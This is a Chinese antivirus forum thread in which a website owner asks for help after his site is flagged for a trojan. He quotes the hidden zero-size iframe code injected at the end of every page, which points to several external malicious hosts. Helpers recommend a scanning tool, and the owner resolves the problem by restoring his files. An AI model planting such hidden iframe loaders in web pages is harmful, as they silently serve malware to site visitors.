瑞星卡卡安全论坛

姑苏残月，请开QQ，我加你，我的QQ67596733，请帮我会诊一下，多谢。

发现新病毒Trojan.DL.VBS.Agent.cns


一打开我的网站http://www.sdxhyy.com/web/book/index.asp，瑞星网页监控 发现病毒 Trojan.DL.VBS.Agent.cns，我FTP以上网站的源代码到本地杀毒，用最新正版瑞星，却没发现病毒，怎么办？求高手帮忙！多谢！

好像本地是查不出病毒的，网站源代码文件中每个文件尾部都被加入如下代码：<iframe src=http://remix2008.myrice.com/gz.htm width=0 height=0></iframe><iframe src="http://www.hao123hao123.cn/ok/index.htm" width="0" height="0" frameborder="0"></iframe><iframe src="http://www.hao123hao123.cn/ok/index.htm" width="0" height="0" frameborder="0"></iframe><iframe src=http://www.n85853.cn/index.htm width=0 height=0></iframe><iframe src=http://www.n85853.cn/index.htm width=0 height=0></iframe><iframe src=http://www.66ki.cn/index.htm width=100 height=0></iframe>
是不是要一个一个手工删除？?

扫SRENG日志发来

流星陨落，你不在么？

这丫的,连天月都不理睬么?
如果是的话,那么我姑苏残月来和你要日志,给不给看呢?

不是呀，冤枉。。。。。。

俺不会弄日志

好像本地是查不出病毒的，网站源代码文件中每个文件尾部都被加入如下代码：<iframe src=http://remix2008.myrice.com/gz.htm width=0 height=0></iframe><iframe src="http://www.hao123hao123.cn/ok/index.htm" width="0" height="0" frameborder="0"></iframe><iframe src="http://www.hao123hao123.cn/ok/index.htm" width="0" height="0" frameborder="0"></iframe><iframe src=http://www.n85853.cn/index.htm width=0 height=0></iframe><iframe src=http://www.n85853.cn/index.htm width=0 height=0></iframe><iframe src=http://www.66ki.cn/index.htm width=100 height=0></iframe>
是不是要一个一个手工删除？?

高手说话呀

你这个姑苏牛B啥啊!怎么每次说话那么冲,丫儿是爷是吧!

下载 System Repair Engineer，
http://www.kztechs.com/sreng/download.html
1 解压缩sreng2.zip
2 运行SREng.exe
3 智能扫描=》扫描=》保存报告
4 把日志中的报告完整拷贝贴上来，不要修改
日志一次发不完，请分次发上来 


不知道哪位高手的台词 （好多人用哦，都没注明的所以 也不知道是谁的了） 借用下

引用:

【熊猫烧香王的贴子】你这个姑苏牛B啥啊!怎么每次说话那么冲,丫儿是爷是吧! ………………

实际上他没你想的那样，别总乱气了。

呵呵！！！！！！

他那是和我闹着玩呢。

呵呵！！！！！！！！！！

不信你认认真真和他做个朋友试试。

在这论坛，应该学会宽容，到这里求助的都没个好心情的，你见过残月这样冲过求助的吗？？？？？

没有吧？？？？？？？

引用:

【【村长】的贴子】不是呀，冤枉。。。。。。 俺不会弄日志 ………………

去这里看看-------------------

http://forum.ikaka.com/topic.asp?board=28&artid=8270267

你就知道怎么干了。

估计没有什么大问题，只要你瑞星版本够新，你偶尔去不好的网站，瑞星报告个网页病毒没啥得。

  少安毋躁~！！

多谢天月，多谢熊猫，多谢菜菜瓜瓜。

我弄好了。备份数据库后，其他文件全部替换，已经解诀了。看来是有人在我的网站挂马了。。。。。。。

【回复“熊猫烧香王”的帖子】
小朋友,我姑苏的脾气不是你个垃圾有资格评价的

昨天不在,刚测试过你给的地址,安全

引用:

【【村长】的贴子】多谢天月，多谢熊猫，多谢菜菜瓜瓜。 我弄好了。备份数据库后，其他文件全部替换，已经解诀了。看来是有人在我的网站挂马了。。。。。。。 ………………

晕死了！！

还当是你系统出问题呢。

下次可得认真看贴了。

呵呵！！！！！！

这汗的..........................

同病相怜!5.12号我的网站也中招了网页添加了"http://www.66ki.cn/"之前也着过一次.替换ftp里面内容就可以解决.但是被挂马的网页修改时间都一样,几百个网页啊.我得网站是放在上海的服务器提供商那里的.请问:主要原因是上海的服务器安全性不高还是我的网页本身有漏洞?请高手指点啊.

高手们，我的网站又出现这个问题了><iframe src=http://www.66ki.cn/index.htm width=100 height=0></iframe>